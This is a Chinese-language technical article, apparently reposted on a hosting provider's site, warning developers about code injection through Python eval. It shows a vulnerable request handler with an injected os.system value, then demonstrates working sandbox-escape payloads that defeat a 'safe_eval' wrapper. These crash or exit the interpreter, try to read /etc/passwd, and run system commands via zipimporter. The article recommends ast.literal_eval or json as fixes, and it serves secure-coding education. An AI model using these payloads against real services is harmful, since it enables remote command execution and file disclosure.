您好,登錄后才能下訂單哦!
最近在代碼評審的過程,發(fā)現(xiàn)挺多錯(cuò)誤使用eval導(dǎo)致代碼注入的問題,比較典型的就是把eval當(dāng)解析dict使用,有的就是簡單的使用eval,有的就是錯(cuò)誤的封裝了eval,供全產(chǎn)品使用,這引出的問題更嚴(yán)重,這些都是血淋淋的教訓(xùn),大家使用的時(shí)候多加注意。
下面列舉一個(gè)實(shí)際產(chǎn)品中的例子,詳情見[bug83055][1]:
def remove(request, obj): query = query2dict(request.POST) eval(query['oper_type'])(query, customer_obj)
而query就是POST直接轉(zhuǎn)換而來,是用戶可直接控制的,假如用戶在url參數(shù)中輸入oper_type=__import__('os').system('sleep 5') 則可以執(zhí)行命令sleep,當(dāng)然也可以執(zhí)行任意系統(tǒng)命令或者任意可執(zhí)行代碼,危害是顯而易見的,那我們來看看eval到底是做什么的,以及如何做才安全?
1,做什么
簡單來說就是執(zhí)行一段表達(dá)式
>>> eval('2+2') 4 >>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""") {'ip': '10.10.10.10', 'name': 'xiaoming'} >>> eval("__import__('os').system('uname')", {}) Linux 0
從這三段代碼來看,第一個(gè)很明顯做計(jì)算用,第二個(gè)把string類型數(shù)據(jù)轉(zhuǎn)換成python的數(shù)據(jù)類型,這里是dict,這也是咱們產(chǎn)品中常犯的錯(cuò)誤。第三個(gè)就是壞小子會這么干,執(zhí)行系統(tǒng)命令。
eval 可接受三個(gè)參數(shù),eval(source[, globals[, locals]]) -> value
globals必須是路徑,locals則必須是鍵值對,默認(rèn)取系統(tǒng)globals和locals
2,不正確的封裝
(1)下面我們來看一段咱們某個(gè)產(chǎn)品代碼中的封裝函數(shù),見[bug][2],或者網(wǎng)絡(luò)上搜索排名比較高的代碼,eg:
def safe_eval(eval_str): try: #加入命名空間 safe_dict = {} safe_dict['True'] = True safe_dict['False'] = False return eval(eval_str,{'__builtins__':None},safe_dict) except Exception,e: traceback.print_exc() return ''
在這里__builtins__置為空了,所以像__import__這是內(nèi)置變量就沒有了,這個(gè)封裝函數(shù)就安全了嗎?下面我一步步道來:
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',
列表項(xiàng)
‘UnicodeEncodeError', ‘UnicodeError', ‘UnicodeTranslateError', ‘UnicodeWarning', ‘UserWarning', ‘ValueError', ‘Warning', ‘ZeroDivisionError', ‘_', ‘debug‘, ‘doc‘, ‘import‘, ‘name‘, ‘package‘, ‘a(chǎn)bs', ‘a(chǎn)ll', ‘a(chǎn)ny', ‘a(chǎn)pply', ‘basestring', ‘bin', ‘bool', ‘buffer', ‘bytearray', ‘bytes', ‘callable', ‘chr', ‘classmethod', ‘cmp', ‘coerce', ‘compile', ‘complex', ‘copyright', ‘credits', ‘delattr', ‘dict', ‘dir', ‘divmod', ‘enumerate', ‘eval', ‘execfile', ‘exit', ‘file', ‘filter', ‘float', ‘format', ‘frozenset', ‘getattr', ‘globals', ‘hasattr', ‘hash', ‘help', ‘hex', ‘id', ‘input', ‘int', ‘intern', ‘isinstance', ‘issubclass', ‘iter', ‘len', ‘license', ‘list', ‘locals', ‘long', ‘map', ‘max', ‘memoryview', ‘min', ‘next', ‘object', ‘oct', ‘open', ‘ord', ‘pow', ‘print', ‘property', ‘quit', ‘range', ‘raw_input', ‘reduce', ‘reload', ‘repr', ‘reversed', ‘round', ‘set', ‘setattr', ‘slice', ‘sorted', ‘staticmethod', ‘str', ‘sum', ‘super', ‘tuple', ‘type', ‘unichr', ‘unicode', ‘vars', ‘xrange', ‘zip']
從__builtins__可以看到其模塊中有__import__,可以借助用來執(zhí)行os的一些操作。如果置為空,再去執(zhí)行eval函數(shù)呢,結(jié)果如下:
>>> eval("__import__('os').system('uname')", {'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module> NameError: name '__import__' is not defined
現(xiàn)在就是提示__import__未定義,不能成功執(zhí)行了,看情況是安全了吧?答案當(dāng)然是錯(cuò)的。
比如執(zhí)行如下:
>>> s = """ ... (lambda fc=( ... lambda n: [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == n ... ][0] ... ): ... fc("function")( ... fc("code")( ... 0,0,0,0,"test",(),(),(),"","",0,"" ... ),{} ... )() ... )() ... """ >>> eval(s, {'__builtins__':{}}) Segmentation fault (core dumped)
在這里用戶定義了一段函數(shù),這個(gè)函數(shù)調(diào)用,直接導(dǎo)致段錯(cuò)誤
下面這段代碼則是退出解釋器:
>>> >>> s = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "Quitter" ... ][0](0)() ... """ >>> eval(s,{'__builtins__':{}}) liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $
初步理解一下整個(gè)過程:
>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]
這句python代碼的意思就是找tuple的class,再找它的基類,也就是object,再通過object找他的子類,具體的子類也如代碼中的輸出一樣。從中可以看到了有file模塊,zipimporter模塊,是不是可以利用下呢?首先從file入手
假如用戶如果構(gòu)造:
>>> s1 = """ ... [ ... c for c in ... ().__class__.__bases__[0].__subclasses__() ... if c.__name__ == "file" ... ][0]("/etc/passwd").read()() ... """ >>> eval(s1,{'__builtins__':{}}) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 6, in <module> IOError: file() constructor not accessible in restricted mode
這個(gè)restrictected mode簡單理解就是python解釋器的沙盒,一些功能被限制了,比如說不能修改系統(tǒng),不能使用一些系統(tǒng)函數(shù),如file,詳情見Restricted Execution Mode,那怎么去繞過呢?這時(shí)我們就想到了zipimporter了,假如引入的模塊中引用了os模塊,我們就可以像如下代碼來利用。
>>> s2=""" ... [x for x in ().__class__.__bases__[0].__subclasses__() ... if x.__name__ == "zipimporter"][0]( ... "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module( ... "configobj").os.system("uname") ... """ >>> eval(s2,{'__builtins__':{}}) Linux 0
這就驗(yàn)證了剛才的safe_eval其實(shí)是不安全的。
3,如何正確使用
(1)使用ast.literal_eval
(2)如果僅僅是將字符轉(zhuǎn)為dict,可以使用json格式
以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持億速云。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。